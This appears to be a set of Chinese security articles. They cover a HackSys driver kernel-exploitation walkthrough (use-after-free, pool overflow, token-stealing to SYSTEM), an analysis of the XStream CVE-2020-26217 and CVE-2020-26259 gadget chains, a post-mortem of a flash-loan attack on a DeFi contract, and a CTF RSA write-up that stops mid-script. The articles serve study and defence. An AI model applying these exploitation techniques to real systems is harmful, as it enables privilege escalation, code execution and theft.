有了崩溃后，我们需要用可让我们在引用时实现代码执行的东西代替对象使用的内存。通常，我们必须寻找一个适当的对象，并可能使用一个基本的原语来让我们获得一个我们可以用于提升我们的权限的更有用的原语。不过幸运的是，HackSys驱动程序有一个让这更容易的函数。日志消息******
HACKSYS_EVD_IOCTL_CREATE_FAKE_OBJECT ******之后暴露的函数可以实现我们需要的功能。
查看函数实现后可知，其分配0x58字节的数据，然后检查分配是否成功。
一旦其分配了所需的内存，其便将数据从IOCTL输入缓冲区复制到其中。
在1处，指向分配的内存的指针为ebx，在2处，其验证从输入缓冲区读取数据是否是安全的，然后在3处，其在返回之前将0x16,
4字节块从输入缓冲区复制到新分配的内存中。
伪分配的对象与我们可以释放并导致被引用的对象大小相同，这一事实是理想的场景。通过使用先前描述的内核池按摩技术，我们可以导致伪对象分配到UAF对象的地址。通过加载一个指向伪对象开头的某些令牌窃取shellcode的指针，我们可以触发使用UAF对象IOCTL代码处理程序，从而使驱动程序执行我们的payload。
与我在池风水示例中使用的Event对象不同，UAF对象不是0x40字节，所以我们将使用Reserve对象，因为我们早先发现，当包括8字节POOL_HEADER时，这些是匹配0x58字节的UAF对象的内存中的0x60字节。首先，我们需要添加以下header。
接下来，我们添加以下代码来执行实际的池风水，这将填充任何现有的空闲0x60字节区域，然后创建一个分配和空闲的0x60字节块的模式。
现在我们可以强制我们的伪对象分配到我们需要制作伪对象的UAF对象之前所在的位置。我们首先将本系列前面部分中使用的令牌窃取器添加到我们的用户空间代码中。
接下来我们来创建我们的伪对象，我们知道其需要是0x58字节，前四个包含一个函数指针，其余的字节我们不关心。将函数指针设置为我们的令牌窃取shellcode的地址后，其将在驱动程序引用我们的伪对象并触发其所认为的原始对象回调时执行。这紧随用于释放UAF对象的DeviceIOControl调用。
我创建了0x250的伪对象，用于填充我们之前创建的所有间隙。另外，我们需要在我们文件的顶部定义HACKSYS_EVD_IOCTL_ALLOCATE_FAKE_OBJECT。
最后一些清理代码和调用系统启动calc.exe适合代码的末尾。
构建然后运行代码（特殊池为禁用状态）给我们提供了一个作为SYSTEM运行的良好计算器。
漏洞利用的最终/完整代码见[Github](https://github.com/sam-b/HackSysDriverExploits/blob/master/HackSysUseAfterFree/HackSysUseAfterFree/HackSysUseAfterFree.cpp)。
**HackSysTeam极其脆弱的驱动程序池溢出**
触发驱动程序池溢出漏洞的IOCTL代码很容易找到，****** HACKSYS_EVD_IOCTL_POOL_OVERFLOW
******记录后随即进行的函数调用是明显的目标。
查看处理程序函数后可知，其在非分页池上进行大小为0x1F8字节的池分配（edi 在函数的开始与自身xor）。
如果分配成功，则处理程序将数据从用户提供的缓冲区复制到池中。然而，复制的数据量由IOCTL中提供的大小控制。
这意味着，如果一个调用者提供的长度大于0x1F8个字节，就会发生越界写入，这也可称为池溢出。我们将再次启用特殊池，从而使触发漏洞更容易。
以下代码将提供一个IOCTL请求，其将在池分配结束后写入4个字节，这应该导致其访问标记为不可访问的页面，并导致系统蓝屏。
编译然后运行，我们得到了我们想要的。
调试崩溃后可以看到，和预期的一样，驱动程序尝试在分配结束后写入。
查看崩溃详情后可知，其是在我们之前在HACKSYS_EVD_IOCTL_POOL_OVERFLOW处理程序中看到的rep movs指令处崩溃。
检查损坏的内存地址后可以看到，和预期一样，一连串0x41字节后是无法访问的内存。
**
**
**池溢出池风水**
与UAF利用一样，我们需要能确保我们的内存在分配时位置正确。在这种情况下，我们要确保另一个对象在内存中紧随其后。这一次，我们分配的内存大小为0x200字节（0x1F8
+
8字节header），Reserve对象分配总大小为60个字节，这太小，并清楚地分开了我们想使其不切实际的数量，但是，我们之前看过的Event对象是0x40字节的分配。这一清楚的划分分配到8是理想的。
为了修整堆，这次我们再次使用Event对象对其进行碎片整理，然后我们将分配大量连续的Event对象，并以8个块的形式释放它们。这应该使我们获得分配200字节的模式，然后分配非分页池内存。下面的代码在触发调试器中断之前执行池修饰，这样我们可以检查它是否有效。
这个运行后我们便可看到打印的指针值，然后按下Enter键触发断点。
在内核调试器中，我转储了句柄信息以获取对象的详细信息。
查看对象分配周围的池内存，可以看到一个很好的重复模式——8个分配的事件对象，随后是8个空闲的事件对象，与计划的完全一致。
现在我们可以触发我们的溢出，40字节的Event对象肯定将跟随我们控制的内存，所以我们可以开始整合利用方法。
**池溢出利用第一回合**
现在我们可以可靠地覆盖一个Event对象的header，我们需要实际覆盖一些东西。我将使用两种不同的方法，一种是最初在“[Windows 7
内核池利用](https://media.blackhat.com/bh-dc-11/Mandt/BlackHat_DC_2011_Mandt_kernelpool-wp.pdf)”中讨论的，另一种是在“[纯数据Pwning微软Windows内核：微软Windows
8.1内核池溢出利用](https://www.blackhat.com/docs/us-14/materials/us-14-Tarakanov-Data-Only-Pwning-Microsoft-Windows-Kernel-Exploitation-Of-Kernel-Pool-Overflows-On-Microsoft-Windows-8.1.pdf)”中讨论的。首先，我将使用Object Type索引覆盖技术。
如[Code
Machine博文](http://codemachine.com/article_objectheader.html)中所述，Windows内核内存中的每个对象都由几个结构以及对象结构本身组成。第一个是我们之前讨论的POOL_HEADER结构。以下是一个Event对象的例子，这次我们不会破坏该结构，所以当我们在内存中进一步重写另一个结构时，我们将重用我们的利用方法中的值，以使其保持原样。
接下来有一个或多个可选结构，存在哪些可选结构可通过查看出现在实际对象OBJECT_HEADER之前的最后一个结构找到。来自Event对象的示例OBJECT_HEADER布局如下所示：
InfoMask字段只有0x8位设置，这意味着，如Code
Machine文章中所述，池header和对象header之间的唯一可选结构是OBJECT_HEADER_QUOTA_INFO。该文章还告诉我们，其大小为0x10字节，所以我们可以通过回看0x10字节在内存中查看它。
OBJECT_HEADER结构是我们将破坏的结构，所以当我们覆盖这个结构时，我们将使用其默认值使其保持原样。
OBJECT_HEADER结构包含用于管理对象的对象元数据，用于指示可选header、存储调试信息等。如Nikita的幻灯片中所述，该header包含“TypeIndex”字段，这用作ObTypeIndexTable（用于存储指向OBJECT_TYPE结构的指针，这些结构提供有关每个内核对象的重要细节）的索引。查看Windbg中的ObTypeIndexTable，我们可以看到条目。
将条目0xc视作OBJECT_TYPE结构使我们获得以下内容：
所以我们肯定有正确的对象类型，但没有什么可以明显让我们实现代码执行。进一步查看结构后我们看到TypeInfo字段，在windbg中更仔细检查该字段后发现了一系列很好的函数指针。
这意味着正根据结构跳转到函数。如果我们可以控制其中的一个，我们应该能够让内核在我们选择的地址处执行shellcode。通过回看可以看到，
ObTypeIndexTable的第一个条目是一个NULL指针，所以我们用0覆盖OBJECT_HEADER中的TypeIndex字段，然后，当内核尝试执行时，内核应该尝试从NULL页面读取函数指针。因为我们是在Windows
7 32位上执行此操作，所以我们可以分配NULL页，从而可以控制内核执行跳转到的位置，这样我们便可使用与我之前所用相同的shellcode来提升我们的权限。
现在我们要覆盖TypeIndex字段，保持缓冲区末尾和和Event对象之间的所有其他字段不变。我们从增加我们之前使用的InBuffer的大小开始。额外的0x28字节将覆盖POOL_HEADER（0x8字节）、OBJECT_HEADER_QUOTA_INFO（0x10字节）及OBJECT_HEADER，直到并包括TypeIndex（0x10字节）。
首先，我们使用之前看到的默认值覆盖POOL_HEADER和OBJECT_HEADER_QUOTA_INFO结构。
最后，我们覆盖了OBJECT_HEADER结构，主要使用其默认值，但TypeIndex值设置为0。
现在让我们运行代码（确保特殊池已禁用），我们应该会得到因内核尝试在地址0x0处访问OBJECT_TYPE结构而导致的崩溃。我立即在我附带的调试器中获得了一个BugCheck，在发生异常的时候查看指令和寄存器，我们看到的正是我们所希望的。
一个名为ObpCloseHandleTableEntry的函数在尝试从ebx+0x74读取内存时出错（ebx为0）。这应对应于OBJECT_TYPE结构中的DeleteProcedure条目（如果其按照计划从NULL页读取）。现在我们只需要使用与本系列中之前使用的相同的方法分配NULL页，并设置一个函数指针偏移量，以指向我们的令牌窃取shellcode。
在main的开始添加了以下代码，以分配NULL页。
成功分配NULL页后，我们只需要放置一个指向我们的shellcode的指针，以代替其中一个函数指针。我尝试在每个函数的偏移量处放置一个shellcode指针，发现Delete、OkayToClose及Close程序会导致shellcode以一种直接的方式被执行。我决定覆盖Delete程序，因为b33f使用了[OkayToClose](http://www.fuzzysecurity.com/tutorials/expDev/20.html)，Ashfaq使用了[Close](https://github.com/hacksysteam/HackSysExtremeVulnerableDriver/blob/master/Exploit/PoolOverflow.c)。
最后，我们需要稍微修改shellcode，因为Delete程序预期4字节的参数需要从栈中删除，以避免事情变得不稳定。将ret
4;添加到shellcode的末尾即可搞定。最后，在我们开始整理内存前，添加一个不错的system("calc.exe");。现在我们再次运行代码，应该会得到一个作为SYSTEM运行的计算器，如下所示。
漏洞利用的最终/完整代码见[Github](https://github.com/sam-b/HackSysDriverExploits/blob/master/HackSysPoolOverflowObjectTypeOverwrite/HackSysPoolOverflowObjectTypeOverwrite/HackSysPoolOverflowObjectTypeOverwrite.cpp)。
**池溢出利用第二回合**
我将使用的利用该漏洞的第二种技术是PoolIndex覆盖技术——作为例子在“[Windows 7
内核池利用](https://media.blackhat.com/bh-dc-11/Mandt/BlackHat_DC_2011_Mandt_kernelpool-wp.pdf)”中使用，并在“[First Dip Into
the Kernel Pool : MS10-058](http://doar-e.github.io/blog/2014/03/11/first-dip-into-the-kernel-pool-ms10-058/)”中通过示例代码使用。
这次我们只覆盖相邻Event对象的POOL_HEADER结构，所以我们的缓冲区可以小一些。
我们将要覆盖的字段是PoolIndex字段。默认情况下，Windows
7主机将只有一个非分页池，这意味着该字段将不会被实际使用。所以首先我们将覆盖PoolType字段，使块看起来是分页池的一部分。如前所述，该字段中需要的值可以在POOL_TYPE枚举中找到，最终为3。
PoolIndex字段用于索引 nt!ExpPagedPoolDescriptor
数组，以便在对象被释放时为其找到正确的PoolDescriptor。查看windbg中的数组可以看到：
你会注意到，仅前五个条目是有效的指针，其余的是NULL，这意味着，如果我们用大于或等于5的值覆盖POOL_HEADER的PoolIndex字段，当对象被释放时，内核将尝试从NULL页开始引用
一个POOL_DESCRIPTOR。像以前一样，我们可以从用户空间分配NULL页，并以可以实现代码执行的方式设置结构值。首先，我们来覆盖PoolIndex字段，并确保内核按预期崩溃。
现在编译并运行二进制文件，我们得到了崩溃。
内核成功崩溃，尝试在释放池分配时访问0x0 + 0x80地址的内存。现在我们如何从控制池描述符转到代码执行？
如前所述，池描述符包括一个PendingFrees列表，如果其包含32个或更多条目，其将被释放。通过伪造一个Pool
Descriptor对象，我们可以使PendingFrees列表指向我们控制的伪池分配，如果我们将PendingFreesDepth设置为32或更多，则内核将尝试释放它们。释放的对象地址将被添加到ListHeads列表中，通过在该列表中创建指向要覆盖的目标地址的伪条目，刚刚被释放的伪对象的地址将被写到ListHeads列表中第一个条目的Blink地址。
这使我们可将受控用户模式地址写入内存中的任何地址。现在，我们让内核将伪对象地址写到0x41414141。
希望一些代码会使这个更清楚。所有这些代码都放在池喷射代码之前。
首先我们像之前一样分配NULL页。
现在我们需要从0x0开始创建伪POOL_DESCRIPTOR结构。我基本上是通过逆向[Jeremy的解决方案](http://doar-e.github.io/blog/2014/03/11/first-dip-into-the-kernel-pool-ms10-058/)来说明如何做到这一点，所以我使用了他的值。
最后我们在0x1208创建伪块，相应的POOL_HEADER需要为0x1200。
0x1208处的内存是一个NULL指针，这一事实意味着DeferedFree将释放它然后停止，因为没有后续条目。
我们还需要在对象释放后立即创建另一个伪POOL_HEADER，因为当内存管理器释放前一个块时，其将验证其大小是否等于下一个块前一个大小字段。
现在构建和运行代码，我们得到了预期的错误。
这里我们可以看到，0x1208由ExDeferredFreePool写入[esi+4]，等于0x41414141。现在我们需要覆盖内存中的一些内容，这让我们可实现代码执行。为此，我选择覆盖HalDispatchTable中的一个条目，和我利用[任意覆盖漏洞](https://samdb.xyz/windows-kernel-exploitation-part-6-arbitary-overwrite-null-pointer-type-confusion-and-integer-overflow-examples/)时一样。
一旦条目被覆盖，触发正确的函数将导致使用分派表条目和内核代码执行被重定向到伪池分配之前的位置(0x1208)。
首先，我们需要找到HalDispatch表地址和我们要覆盖的目标条目，在这种情况下是ntdll中的NtQueryIntervalProfile函数被调用时使用的第二个条目。
接下来我们更新伪ListHeads条目，以指向 where。
最后，我们在0x1208处放置一个0xcc字节（int
3操作码）来触发断点，并增加一个对NtQueryIntervalProfile的调用，以便在我们清理所有东西后调用该函数。放置0xCC字节的原因是，如果不这样做，0x1208处的字节是clc（0xf8）的操作码，后跟ret（0xc3），这意味着什么都不会发生，操作系统保持正常。
我们还没有设置我们的shellcode，但现在我们应该可在0x1208处实现代码执行。再次运行代码，我们得到了这一结果。
最后一步是设置shellcode。执行将从0x1208开始，所以我们不能只是在此处放置一个指针，相反，我们在调用NtQueryIntervalProfile之前设置了以下数据。
现在重新编译并运行代码，我们得到如下结果：
该漏洞利用的最终/完整代码见[Github](https://github.com/sam-b/HackSysDriverExploits/blob/master/HackSysPoolOverflowTypeIndexOverwrite/HackSysPoolOverflowTypeIndexOverwrite/HackSysPoolOverflowTypeIndexOverwrite.cpp)。 | 社区文章 |
XStream是一个基于Java库，可以将Java对象序列化为XML，反之亦然。
2020年，Xstream有两个影响比较大的高危漏洞被爆出：CVE-2020-26217远程代码执行漏洞与CVE-2020-26259任意文件删除漏洞。纵观两个漏洞，他们出现的原因与机制上极其相似，因此我们在这里放到一块来分析。
## 理解poc
首先把CVE-2020-26217与CVE-2020-26259的poc放到一起比较下：
从上图两个漏洞poc的对比上来看：二者利用链前半部分都是一样的，只有中间is元素的class属性值不同：其中一个为java.io.SequenceInputStream而另一个为com.sun.xml.internal.ws.util.ReadAllStream$FileStream。
因此，我们可以先从他们相同部分的调用链入手分析，等到了他们分歧之处，我们再分开来分析。在分析漏洞之前，我们需要搞明白poc中的元素以及其属性到底代表什么意思。
由于poc是个xml格式，我们一层层来剖析这个xml。首先把poc元素折叠起来，看看entry元素中包含的元素内容，见下图：
entry元素中包含了jdk.nashorn.internal.objects.NativeString与string两个元素
上图这样的结构代表什么意思呢？又是怎么生成的呢？
我们本地做了一个demo，看一下下面的例子：
在这个demo中，HashMap的key为一个Person对象，而value为String类型”test”
Xstream将这个map输出为下图形式
让我们对比一下poc与我们测试demo
从我们的demo与实际poc两个例子可以看出：在Xstream将Map生成xml格式数据时，会为每个Entry对象生成一个<entry>…</entry>元素，并将该Entry中的key与value作为其子元素顺次放置于其中第一个和第二个元素处。因此我们可以通过这个特点推断出，poc中jdk.nashorn.internal.objects.NativeString与string两个元素其实就是该Entry的key与value。此外，我们回头看一下我们的demo
从上图可见：在生成xml时，我们为Person对象赋值的name（“kumamon”）与age（3）属性值成为了Person对象节点(<person>…</person>)的子元素(<name>…</name>、<age>…</age>)
因此可以推断，当一个java对象通过Xstream生成xml时，其结构应遵循如下结构：
回头看一下我们的poc，我们再展开一级看看
通过上文的理解，上图poc可以理解为一个map集合，其中存在key为jdk.nashorn.internal.objects.NativeString对象、value值为test的Entry。而jdk.nashorn.internal.objects.NativeString对象又存在flags、value属性，它的flags属性值为0、value属性值为com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data
在弄明白poc结构之后，我们来调试下poc的解析的过程
Xstream程序在解析xml时遇到Map结构后，会新建了一个map并将xml中key-value对取出并put入其中，见下图
上图key值即为poc中Entry内key值(NativeString对象)，而values则为Entry中value（test字符串）
根据map的原理可知：map在put
key操作时需要获取key的hash值。因此程序调用了jdk.nashorn.internal.objects.NativeString的hashCode方法，见下图
从上图可见，程序调用了getStringValue方法，我们跟入这个方法，见下图：
在这个方法中，程序将判断this.value是否为String实例，并尝试调用this.value.toString方法
经过上文对poc的分析，此时的this.value其实就是<jdk.nashorn.internal.objects.NativeString>
…</jdk.nashorn.internal.objects.NativeString>元素中的value子元素值，攻击者可以通过xml中NativeString元素的value子元素控制。在官方给出的poc中，将value值构造为com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data类。见下图
因此，此时this.value为com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data。程序调用Base64Data类的toString方法，见下图：
Base64Data类中toString方法首先调用了其自身的get方法，跟入get方法中，见下图：
分析上图代码：this.dataHandler.getDataSource().getInputStream();将其拆分来看：
> 1.
> 首先程序执行this.dataHandler.getDataSource()，即是获取Base64Data对象中dataHandler属性的DataSource值。Base64Data的dataHandler属性值以及dataHandler的dataSource属性值都可以在xml中设置。poc中将dataSource设置为：com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource。因此this.dataHandler.getDataSource()获取的值为：com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource
> 2.
> 随后程序执行com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource类的getInputStream方法，这将获取com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSourc的is属性值
>
CVE-2020-26217与CVE-2020-26259两个POC中设置的DataSource的is属性值不同，这将导致两个漏洞进入了不同的调用链。我们先来看看CVE-2020-26217
## CVE-2020-26217
我们来看看CVE-2020-26217 的poc中DataSource元素包含的is元素是什么
通过上图可见，poc中构造的is值为java.io.SequenceInputStream
随后，程序将is变量传入readFrom方法中，见下图
readFrom方法实现如下：
此时的is变量为java.io.SequenceInputStream，随后程序调用java.io.SequenceInputStream类的read方法
从上图可见，程序将调用java.io.SequenceInputStream类的read方法中的nextStream方法，跟入nextStream方法中，见下图：
从上图110行可见，程序将执行in = (InputStream) e.nextElement();
而e的值，可以通过向xml中SequenceInputStream元素中的e元素值来控制。在poc中将这个e元素值设置为javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator，见下图
因此，程序事实上调用的是javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator的nextElement方法。接下来进入位于javax/swing/MultiUIDefaults.java中的nextElement方法
可见，这次需要执行的是iterator.next().getKey();
我们需要为javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator对象构造一个满足要求的iterator属性值。通过分析poc可知，poc中选取了javax.imageio.spi.FilterIterator作为iterator属性值，见下图：
跟入位于javax/imageio/spi/ServiceRegistry.java的javax.imageio.spi.FilterIterator类的next方法，见下图：
在javax.imageio.spi.FilterIterator类的next方法中，执行advance方法。跟入advance方法
从上图可见，程序执行了T elt = iter.next();
此时的iter显然可以通过xml中javax.imageio.spi.FilterIterator元素中iter元素控制，我们看一下poc中构造的iter子节点，见下图
当iter.next()执行后，poc中构造的java.lang.ProcessBuilder被返回并赋值给elt，见下图
随后，程序执行filter.filter(elt)
很显然，filter值是可以通过xml中javax.imageio.spi.FilterIterator元素中filter元素控制的。看一下poc
Filter赋值为javax.imageio.ImageIO$ContainsFilter类
我们跟入javax.imageio.ImageIO$ContainsFilter类的filter方法中，位于javax/imageio/ImageIO.java
可见在javax.imageio.ImageIO$ContainsFilter类的filter方法中，执行了method.invoke(elt)。method可以通过xml中javax.imageio.ImageIO$ContainsFilter元素包含的method元素控制，见poc
此时method为ProcessBuilder类的start方法，而通过上文可知：elt为构造好的java.lang.ProcessBuilder对象。在method与elt都可控的情况下，进行反射调用即可实现远程代码执行利用。
我们接下来看看CVE-2020-26259任意文件删除漏洞
## CVE-2020-26259
首先分析下CVE-2020-26259的poc
从poc中可以发现：CVE-2020-26259的poc中is元素为com.sun.xml.internal.ws.util.ReadAllStream$FileStream，这与上一个漏洞poc不一样。
值得注意的是，这次漏洞利用的不是Base64Data中get方法里的baos.readFrom(is)这个入口，而是位于它下面一行的is.close()这行代码。通过调试，程序在执行过get方法中baos.readFrom(is)后，紧接着执行is.Close()，见下图：
此时的is是com.sun.xml.internal.ws.util.ReadAllStream$FileStream，跟入com.sun.xml.internal.ws.util.ReadAllStream$FileStream中的close方法，见下图：
当com.sun.xml.internal.ws.util.ReadAllStream$FileStream对象的tempFile属性值不为空时，删除tempFile文件。
tempFile是com.sun.xml.internal.ws.util.ReadAllStream$FileStream对象的属性值，因此可以直接在poc中com.sun.xml.internal.ws.util.ReadAllStream$FileStream元素内构造tempFile属性元素，通过tempFile属性元素控制要删除的文件，见下图poc
到此，一个任意文件删除漏洞产生了
## 总结
通过对这两个漏洞的分析不难发现，CVE-2020-26259其实是CVE-2020-26217的一个思路上的延伸：在is可控时，既然baos.readFrom(is)可以利用，那么is.close()是否也能构造出一个利用链呢？从CVE-2020-26259答案上来看是可以的。
从CVE-2020-26259也可以延伸出另一个问题：只要找到一个类，其中存在close方法且close方法中有可利用的地方，那么一条新的利用链就被挖掘出来了。 | 社区文章 |
# Victor the Fortune攻击事件分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 事件背景
零时科技区块链安全情报平台监控到消息，北京时间2022年10月27日，BSC链上Victor the Fortune
合约受到黑客闪电贷攻击，攻击者已获利约5.8万美元，耗尽了流动资金池，攻击者地址为0x57c112cf4f1e4e381158735b12aaf8384b60e1ce，零时科技安全团队及时对此安全事件进行分析。
## 攻击步骤
1.攻击者通过闪电贷借出约100,000 USDT
2.将借出的USDT兑换为77,853 VTF
3.调用updateUserBalance()函数计算获得奖励
4.调用transfer函数将资金全部转移至 地址 0x1dd557415a0ddea7d3e56f49c78d54ebbf31f569
5.调用updateUserBalance()函数获得奖励
6.重复执行第四步和第五步，最后共获得 499,803,157 VTF
7.将获得的VTF兑换获得 158,450 USDT
归还闪电贷后共获利 58,450 USDT
## 漏洞核心
攻击者通过调用transfer函数进行转账，在转账函数中调用了updateUserBalance()函数，由于此时userBalanceTime[user]为0会将当前时间赋值给userBalanceTime[user]。
之后调用updateUserBalance()，当userBalanceTime大于0时会调用 getUserCanMint函数计算奖励值
在getUserCanMint函数中计算返回值是用户的余额除以常数乘当前时间与用户开始时间的时间差，由于没有设置最小时间差，因此在很短时间调用函数也可以获得奖励。
由于调用一次updateUserBalance()函数后会更新时间，攻击者通过调用transfer函数将资金转移至一个新的地址，再次调用updateUserBalance()函数可以继续获利，并且当攻击者地址资金增加时获得的奖励也随着增加，攻击者通过重复以上步骤获得奖励逐渐增加直到将池子掏空。
## 总结及建议
此次攻击是由于合约中的计算奖励函数的算法只与用户地址余额和时间差有关，攻击者通过先调用转账获得用户初始时间，之后调用获得奖励的函数，通过这两个函数调用过程中的时间差计算获得奖励。通过多次转账计算获得奖励使得资金累加，最后将池子中代币几乎掏空。
****安全建议****
建议对于计算获得奖励时设置最小时间差，避免攻击者通过短时间多次调用函数获利。
建议项目方上线前进行多次审计，避免出现审计步骤缺失 | 社区文章 |
# 分析Teaser Dragon CTF 2019中Crypto方向题目
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
在Teaser Dragon CTF
2019中有2道考察Crypto方向的题目，一道Crypto题目，一道Web+Crypto题目，在这里对题目进行一下分析。
## rsachained
题目描述如下：
Keys are generated in the standard way with the default setup…
[task.py](https://raw.githubusercontent.com/ichunqiu-resources/anquanke/master/005/task.py)
[output.txt](https://raw.githubusercontent.com/ichunqiu-resources/anquanke/master/005/output.txt)
题目描述里的这句话其实应该算是一个梗…在今年的DEFCON CTF
Quals上有一道名叫chainedrsa的Reverse+Crypto题目，考察根据私钥低位恢复私钥高位，题目挺简单的但是最终只有10个队做出来，很多队伍的exp都在本地打通了，但是远程就是不行，原因在于当时那道题服务器上的密钥在生成时没有使用:
φ(n) = (p-1)*(q-1)
而是使用的：
λ(n) = lcm(p-1,q-1)
来生成密钥，而很多人在本地自己模拟时候都还是用的`φ(n)`，因此出现了过的了本地过不了远程这种情况。当时有一些队伍在比赛期间去问主办方，主办方给出了如下回复：
这句话成功的”误导”了更多的队伍…因此也导致了很多队伍赛后对这道题的吐槽，因此有了这么一个梗，这次Teaser Dragon CTF
2019中的这个题目的名字、题目描述和考点都是和当时那道题有关: )。
好我们回到这次的题目上，首先看一下题目的源代码：
import os
import gmpy2
flag = int(open('flag.txt').read().encode("hex"), 16)
def genPrime(bits):
data = os.urandom(bits/8)
number = int(data.encode("hex"), 16)
return gmpy2.next_prime(number)
e = 1667
# rsa1: p - 700 bits q - 1400 bits
p = genPrime(700)
q = genPrime(1400)
n = p*q
phi = (p-1)*(q-1)
d = gmpy2.powmod(e, -1, phi)
rsa1 = (n, d)
# rsa2: p - 700 bits, q - 700 bits, r = 700 bits
p = genPrime(700)
q = genPrime(700)
r = genPrime(700)
n = p*q*r
phi = (p-1)*(q-1)*(r-1)
d = gmpy2.powmod(e, -1, phi)
rsa2 = (n, d)
# rsa3: p - 700 bits, q - 700 bits, r = 700 bits
p = genPrime(700)
q = genPrime(700)
n = p*q*r
phi = (p-1)*(q-1)*(r-1)
d = gmpy2.powmod(e, -1, phi)
rsa3 = (n, d)
# rsa4: p - 700 bits, q - 700 bits
p = genPrime(700)
q = genPrime(700)
n = p*q*q
phi = (p-1)*(q-1)*q
d = gmpy2.powmod(e, -1, phi)
rsa4 = (n, d)
rsa = sorted([rsa1, rsa2, rsa3, rsa4])
for n, d in rsa:
print 'pubkey:', n, d % (2**1050)
flag = pow(flag, e, n)
print 'encrypted flag', flag
其执行结果如下：
pubkey: 859120656206379031921714646885063910105407651892527052187347867316222596884434658659405822448255608155810241715879240998190431705853390924506125009673776539735775578734295308956647438104082568455604755897347443474837969627723792555180605570061543466558710984713039896691188382997755705425087392982168984185229388761020298907843938651747237132404355197739247655148879984476412365078220648181358131779226613410257975180399575865809381114503102493767755197618305439592514756307937482535824886677028869214462143121897901687818277055753103973809215799348093165770108731899625440232334370794010877047571087634088643565878666814823597 6404011758157972703612261793681759246464215350955339624160911161422611520145549655575457659757671312362520534084082807541566604214336116674150997699501607769566852492157994984170248823333294918447786457066546086171046532955584494739314351490726886444164048184241514125678560723782999029659135170314199032519015517483
pubkey: 1311485515090222718982495198730831073955174624382380405255882886012541076751694096664143914783345786808989030195914045177845164364400711539537456739170589346033729436625658871146633553503774866142568716068953663977222002088477902235884717082069070796901652820969777833174034685816622756524282480580399883160755030115364291412718061758142515305389808681261201028647918631486855998332674824264495109641835596608336454102370944531225289276734441189842117114187272485368222698210402692987316946307402124818683662256285425749745044473836534317911693431019535047343774304237969249813708212575639444584092633692220540287380100087406907 6762547460602241256253304403057840010356965995658332151464306076734886668348338229477220486851971695831025738065540621944954803087639187605826246170852109559079074614119808221929013953607066074389809368603757307759386199129306765569186327590211123849053154881101151177686828760168745679159348065176015209027306930795
pubkey: 1575060449430659140207638391055943675863526369065063706350412723523667837574603957873052861827978497667790320751709825539894814309966419985565518167069012257059970719629265514554227032833047486506557616694792185308331642271153817395624694602567048186971822198162003259057599067679515651509006583655734337286195372119659961892695887527649792831639865587192165588971284597107150903552624259996427357055727777299373593229142742726141314990452184229476917038184267241036918602554417997784006066104066098902608890274713296413328177121301222893743767266080583504425094092518398681307182308611729107396812972850405735757668088697847951 5707521170224254508659672846933818787001135802176783947179706231070761518271823668313158008289673444516064588686080249076540588375157043626677419185625336049313314641249542595200886768114306555416909136568265340888067484302848785272525288608839874074236050840506402897831477010251518458186504962395384666969171250107
pubkey: 4232819155839550922279592842719433946891627776859962079814516253452165389036653289438928378562503361802962808867376036446065199400114343981489770467719433842467863790025157645790790546711434342749173114584205175937908175583479179580810260063208858154629604787679080148158778144242635384249890271882097552355559004259916015878919322278402739861284711967004042252592561170311676956442870143264815298550428890342085615270647716168020441562257255689477157387477157201225997667848750302348483724394538068236632998615714647043723202692215390463632895984121932442861483996529680353143769212467480570412438553808228897441253339977829074399 4649045196470695353390836308229816980123193670378994484653092063162829775325027591589707695443531712311911547784211686738135679083418730545146218582354267299967469877756913949564462524369735344985321925911759639861523989288138280762813588519717108172156784540565137256654620399500030648870656882195855476291698508835
encrypted flag 594744523070645240942929359037746826510854567332177011620057998249212031582656570895820012394249671104987340986625186067934908726882826886403853350036347685535238091672944302281583099599474583019751882763474741100766908948169830205008225271404703602995718048181715640523980687208077859421140848814778358928590611556775259065145896624024470165717487152605409627124554333901173541260152787825789663724638794217683229247154941119470880060888700805864373121475407572771283720944279236600821215173142912640154867341243164010769049585665362567363683571268650798207317025536004271505222437026243088918839778445295683434396247524954340356
可以看到我们的任务还是根据低位私钥恢复高位私钥（模`2**1050`即表示我们知道的是d的低1050位），只不过每次的场景略微有些不同：
n1 = p1 * q1 (p 700 bits, q 1400 bits)
n2 = p2 * q2 * r (p 700 bits, q 700 bits, r 700 bits)
n3 = p3 * q3 * r (p 700 bits, q 700 bits, r 700 bits)
n4 = p4 * q4 * q4 (p 700 bits, q 700 bits)
这里有一点需要注意，我们执行结果里的4个n，并不是和我们上面列举的4个n一一对应的，因为代码最后的`rsa = sorted([rsa1, rsa2,
rsa3, rsa4])`这一行打乱了我们的排列顺序，所以我们暂时还不能直接看出n1-n4各自具体的值，不过我们可以通过分析来进一步确定。
首先很容易看出r在n2和n3里共用了，因此这里存在模不互素攻击，可以通过gcd(n2,n3)计算出r，因此我们只需要在执行结果里面去找哪两个数有1以外的公因子，那么这两个数就是n2和n3。n2和n3确定以后，n1和n4就只剩下2种顺序了，因此最多计算两遍也就可以确定出来了。
那么接下来我们就依次来看这几种场景应该如何恢复出私钥：
### 场景1：n1 = p1 * q1
首先我们可以推导出如下表达式：
这里由于`phi(n)`就是常规模型中的`phi(n)=(p-1)*(q-1)`，因此我们有：
即：
同余式两边同乘上p，有：
整理一下，即：
该表达式中除了p和k外，其它均为已知常数。而根据RSA的定义我们知道`d=invert(e,phi)`，d是模phi的一个值，因此d肯定是小于phi的，而我们又知道这里的k是来自`e*d-k*phi=1`这一表达式，d小于phi但e
_d大于k_
phi，显然e是大于k的，即k的取值范围为开区间(0,e)，而在本题中e=1667，即k处在一个很小的搜索区间当中，因此我们可以遍历k，当找到该方程有素数解且能被n整除的话，那么基本上就可以认为我们得到了p。一旦得到p，表明我们成功的分解了n，那么直接就可以计算出来d了，我们将这一过程写成SageMath脚本如下：
def find_p(d0, e, n, start, stop):
X = var('X')
for k in xrange(start, stop):
print k
results = solve_mod([e*d0*X - k*(n*X-X*X-n+X) == X], 2^1050)
